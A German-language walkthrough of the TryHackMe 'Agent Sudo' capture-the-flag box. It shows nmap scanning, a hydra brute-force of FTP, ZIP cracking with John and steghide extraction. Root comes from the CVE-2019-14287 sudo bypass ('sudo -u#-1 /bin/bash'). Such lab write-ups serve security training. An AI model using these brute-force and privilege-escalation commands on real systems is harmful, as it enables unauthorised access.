
Write-up zum Sudo Agent CTF (TryHackMe) mit Enumeration, Web-Exploitation, Steganografie, SSH und Privilege Escalation über CVE-2019-14287.

Write-up des Sudo Agent CTF (TryHackMe), mit Enumeration, Web-Exploitation, Steganografie, SSH und Privilege Escalation via CVE-2019-14287.
| Element | Information |
|---|---|
| Plattform | TryHackMe |
| System | Linux |
| Schwierigkeit | Einfach |
| Ziel | Web-Exploitation, FTP, SSH, Steganografie und Privilege Escalation |
| CVE | CVE-2019-14287 |
| Status | Abgeschlossen ✅ |
Reconhecimento
↓
Enumeração Web
↓
User-Agent
↓
FTP
↓
Análise de arquivos
↓
Esteganografia
↓
Credenciais
↓
SSH
↓
Privilege Escalation
↓
CVE-2019-14287
↓
Root 👑
Nmap
Hydra
User-Agent Switcher
FTP
Binwalk
John the Ripper
7-Zip
Steghide
SSH
Linux Commands
Browser
Der erste Schritt der Reconnaissance-Phase bestand darin, die offenen Ports zu identifizieren. Ich habe den Port-Scan mit nmap durchgeführt:
nmap -sV -sC sudoagent
21/tcp open ftp
22/tcp open ssh
80/tcp open http
Bei der Analyse der Webanwendung stieß ich auf folgende Meldung:
Die Webanwendung zeigte eine Meldung des Agent R an, die darauf hinwies, dass der Zugriff von einem bestimmten User-Agent abhing.
Ich änderte den User-Agent mit dem User-Agent switcher auf REDACTED, und es war möglich, die Meldung anzuzeigen:
Die Meldung enthüllte Informationen über einen der Agenten und wies darauf hin, dass sein Passwort schwach war.
Mit dem gefundenen Benutzer und dem Wissen, dass sein Passwort schwach war, führte ich einen Brute-Force-Angriff mit hydra durch:
hydra -l user -P /usr/share/wordlists/rockyou.txt ftp://sudoagent/
Hydra konnte das Passwort von agentC erfolgreich zurückgeben!
[21][ftp] host: sudoagent login: c$$$$ password: REDACTED
Die erhaltenen Zugangsdaten ermöglichten den Zugriff auf den FTP-Dienst.
Im FTP wurden Textdateien und Bilder gefunden.
-rw-r--r-- 1 0 0 217 Oct 29 2019 To_agentJ.txt
-rw-r--r-- 1 0 0 33143 Oct 29 2019 cute-alien.jpg
-rw-r--r-- 1 0 0 34842 Oct 29 2019 cutie.png
Ich habe die Dateien heruntergeladen, um sie zu analysieren.
Ich begann die Analyse mit der Ansicht des Inhalts der Textdatei To_agentJ.txt:
cat To_agentJ.txt
Dear agent J,
All these alien like photos are fake! Agent R stored the real picture inside your directory. Your login password is somehow stored in the fake picture. It shouldn't be a problem for you.
From,
Agent C
Die Datei ist eine Nachricht, die von Agent C an Agent J gesendet wurde. Wir haben entdeckt, dass in einer der Bilddateien eine versteckte Anmeldeinformation vorhanden ist.
Mit dem Tool Binwalk habe ich festgestellt, dass die Datei cutie.png eine verschlüsselte ZIP-Datei enthielt, deren Inhalt die Datei To_agentR.txt war.
binwalk cutie.png
34562 0x8702 Zip archive data, encrypted compressed size: 98, uncompressed size: 86, name: To_agentR.txt
34820 0x8804 End of Zip archive, footer length: 22
Um die Datei zu lesen, muss ich sie extrahieren und ihr Passwort herausfinden. Ich habe die Extraktion der Datei durchgeführt:
dd if=cutie.png of=arquivo.zip bs=1 skip=34562
Binwalk zeigte an, dass die ZIP-Datei am Offset 34562 begann. Ich habe diesen Wert verwendet, um ab diesem Punkt zu extrahieren und die ZIP-Datei separat zu erzeugen.
Und die Extraktion des Hashes:
zip2john *.zip > hash.txt
Und jetzt werden wir das Passwort mit Hilfe von John The Ripper herausfinden:
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
REDACTED (arquivo.zip/To_agentR.txt)
Nach dem Entpacken der Datei habe ich das gefundene Passwort verwendet:
cat To_agentR.txt
Agent C,
We need to send the picture to 'QXJlYTUx' as soon as possible!
By,
Agent R
Wir haben einen Base64-codierten Code, den wir dekodieren müssen
echo "QXJlYTUx" | base64 -d
REDACTED
Nachdem ich das für die Steganografie verwendete Passwort erhalten hatte, verwendete ich Steghide, um die in dem Bild cute-alien.jpg verborgene Nachricht zu extrahieren.
steghide extract -sf cute-alien.jpg
Enter passphrase:
wrote extracted data to "message.txt"
Die dekodierte Nachricht wurde in die Datei message.txt geschrieben
cat message.txt
Hi j$$$$,
Glad you find this message. Your login password is REDACTED!
Don't ask me why the password look cheesy, ask agent R who set this password for you.
Your buddy,
c$$$$
Die Nachricht enthielt den Namen des Agents J und sein Passwort.
Ich habe die Anmeldedaten des Agents J verwendet, um per SSH zuzugreifen. Nach dem erfolgreichen Zugriff habe ich die Datei namens user_flag.txt und eine weitere Bilddatei gefunden.
ls
Alien_autospy.jpg user_flag.txt
Nachdem ich Zugriff über SSH erhalten hatte, fand ich die Datei Alien_autospy.jpg.
Ich führte eine Analyse des Bildes durch und nutzte anschließend OSINT-Techniken, um den Ursprung und den Kontext der Fotografie zu identifizieren.
Durch eine Recherche in öffentlichen Quellen war es möglich, das Bild dem Fall zuzuordnen.

Bevor ich versuchte, Privilegien zu eskalieren, überprüfte ich die sudo-Berechtigungen des aktuellen Benutzers:
sudo -l
Matching Defaults entries for j$$$$ on agent-sudo:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User j$$$$ may run the following commands on agent-sudo:
(ALL, !root) /bin/bash
Die von sudo -l angezeigte Konfiguration war anfällig für CVE-2019-14287.
Diese Schwachstelle ermöglicht es, bestimmte Ausführungsbeschränkungen von sudo unter Verwendung einer speziellen UID wie -1 zu umgehen, die in anfälligen Versionen als äquivalent zum Benutzer root interpretiert werden kann.
Es war möglich, Privilegien zu eskalieren, indem der Benutzer als -1 angegeben wurde:
sudo -u#-1 /bin/bash
root@agent-sudo:~#
Der Befehl resultierte in einer Shell mit Root-Privilegien.
Durch Ausnutzung der erlangten Privilegien navigierte ich zum Root-Ordner und griff auf die Datei root.txt zu, wo ich die beiden letzten Flags fand:
cat root.txt
To Mr.hacker,
Congratulation on rooting this box. This box was designed for TryHackMe. Tips, always update your machine.
Your flag is
REDACTED
By,
REDACTED a.k.a Agent R